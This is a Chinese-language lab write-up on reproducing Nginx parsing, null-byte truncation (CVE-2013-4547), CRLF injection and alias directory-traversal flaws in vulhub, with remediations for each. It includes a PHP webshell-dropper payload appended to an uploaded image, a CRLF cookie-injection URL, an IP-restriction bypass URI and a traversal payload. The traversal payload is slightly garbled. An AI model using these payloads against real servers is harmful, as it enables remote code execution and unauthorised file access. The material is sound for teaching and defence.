Nginx 解析漏洞
该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞。
漏洞原理:
该解析漏洞是PHP fastcgi 的漏洞,在PHP的配置文件 php.ini 中有一个关键的选项 cgi.fix_pathinfo 默认值为1,表示开启。同时在 php-fpm/www-2.conf 配置文件中的 security.limit_extensions 选项限制了 fastcgi 要解析的文件类型(如果该选项未开启,默认只解析.php)
当URL中有不存在的文件,PHP就会向前递归解析,当遇到文件路径 /test.png/x.php 时,若 x.php 不存在则会向前解析,判断 /test.png 是否存在,若存在,则把 /test.png 解析为 text.php,若不存在则继续向前解析。若是关闭该选项,访问 /test.jpg/x.php 只会返回找不到文件。
环境搭建:
靶场路径:
vulhub/nginx/nginx_parsing_vulnerability
启动容器
docker-compose up -d
复现过程:
直接访问
访问靶场的 /uploadfiles/nginx.png 目录
是一个正常的图片,在后面随便加一个 .php
,或者不加文件名也可以
可以看到图片被解析了,所以我们现在要做的就是上传一个图片马到这个网站上,然后在上传的图片马路径后面添加 /.php 来执行该文件,从而生成一个 shell.php。
回到靶场的上传页面,随便上传一张图片,抓包,在后面加上下面代码
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["111"])?>');?>
成功上传
接着访问目录
进容器看一下,成功生成了
蚁剑连接成功。
漏洞修复:
1、将php.ini文件中的cgi.fix_pathinfo的值设置为0
2、php-fpm/www-2.conf中的security.limit_extensions后面的值设置为.php
Nginx %00截断解析漏洞:
影响版本:
Nginx 0.5、0.6 、0.7 ~ 0.7.65、0.8 ~ 0.8.37
漏洞原理:
在fastcgi关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径 /xx.jpg 后面加上 %00.php 会将 /xx.jpg%00.php 解析为xx.php文件。它的原理是在URL中加 %00 会被URL编码成 \0 ,在C语言中 \0 即为终止符,而Nginx是由C语言编写的,所以在读取时会认为文件名已经结束,从而绕过检测。
Nginx 文件名逻辑漏洞(CVE-2013-4547)
2013年底,nginx再次爆出解析漏洞(CVE-2013-4547),此漏洞可导致目录跨越及代码执行,影响范围较广。
影响版本:
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
漏洞原理:
这个漏洞其实和代码执行没有太大关系,主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
举个例子,比如,Nginx匹配到.php
结尾的请求,就发送给 fastcgi 进行解析,常见的写法如下:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情况下,只有.php
后缀的文件才会被发送给 fastcgi 解析。
而存在 CVE-2013-4547 的情况下,请求1.gif[0x20][0x00].php
,这个URI可以匹配上正则\.php$
,可以进入这个Location块;但进入后,Nginx在查找文件的时候被 \0 截断,认为请求的文件是1.gif[0x20]
,就设置其为 SCRIPT_FILENAME 的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。
注:[0x20]即16进制的20,代表空格;[0x00]即16进制的00,代表\0。
\0 的作用大家应该知道,那为什么要加空格呢?正常情况下nginx遇到 \0 会判断为非法字符报错,但在检查到URI中有空格则会进入到sw_check_uri_http_09的逻辑中,则不会报错。详细可以看这篇文章:文章链接
关于目录跨越的原理与此类似,举例:比如很多网站限制了允许访问后台的IP:
location /admin/ {
allow 127.0.0.1;
deny all;
}
我们可以请求如下URI:/test[0x20]/../admin/index.php
,这个URI不会匹配上 location 后面的 /admin/,也就绕过了其中的IP验证;最后请求的是 /admin/index.php,成功访问到后台。(前提是需要有一个目录叫 test,这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)
环境搭建:
靶场路径:
vulhub/nginx/CVE-2013-4547
启动容器
docker-compose up -d
复现过程:
访问环境
这里存在限制只能上传图片,我们上传一个php探针的jpg文件,抓包添加空格
访问:http://192.168.50.131:8080/uploadfiles/1.jpg.php 抓包,添加两个空格,然后修改16进制值。
第二个20改为00,
成功解析
同样的可以利用前面提到的,生成 shell.php 然后菜刀连接。
Nginx 配置错误导致漏洞
环境搭建:
靶场路径:
vulhub/nginx/insecure-configuration
启动容器
docker-compose up -d
运行成功后,Nginx将会监听8080/8081/8082三个端口,分别对应三种漏洞。这里先复现前两个。
1、CRLF注入漏洞
CRLF是 “回车+换行”的简称(url编码为%0d%0a)。在HTTP协议中,HTTP Header 与 HTTP Body 是用两个CRLF分隔的,浏览器是根据两个CRLF(即 %0a%0d%0a%0d)来取出HTTP内容并显示出来。 所以,一旦能够控制HTTP消息头中的字符,通过注入一些恶意的换行,就能实现注入会话Cookie。
理论上,只要是可以设置HTTP头的场景都会出现这个问题。
示例,如果运维配置了下列的代码:
location / {
return 302 https://$host$uri;
}
原本的目的是为了让http的请求跳转到https上,但Nginx会将 $uri
进行解码,导致传入%0d%0a
即可引入换行符,造成CRLF注入漏洞。
Payload: http://your-ip:8080/%0d%0aSet-Cookie: a=1,可注入Set-Cookie头。
可以看到cookie设置成功了。(这里不太懂为什么%0d%0a
只需要一个就可以)
漏洞修复
正确的做法应该是如下:
location / {
return 302 https://$host$request_uri; //$request_uri不解码
}
2、目录穿越漏洞
假设静态文件存储在 /home/ 目录下,而该目录在url中名字为files,那么就需要用alias设置目录的别名:
location /files {
alias /home/;
}
此时,访问 http://example.com/files/readme.txt,就可以获取/home/readme.txt文件。
但我们注意到,url上 /files 没有加后缀 /,而alias设置的 /home/ 是有后缀/的,这个 / 就导致我们可以从 /home/ 目录穿越到他的上层目录。
Payload: http://your-ip:8081/files…/ ,成功穿越到上层目录。
进而我们获得了一个任意文件下载漏洞。
如何解决这个漏洞?只需要保证location和alias的值都有后缀/或都没有这个后缀。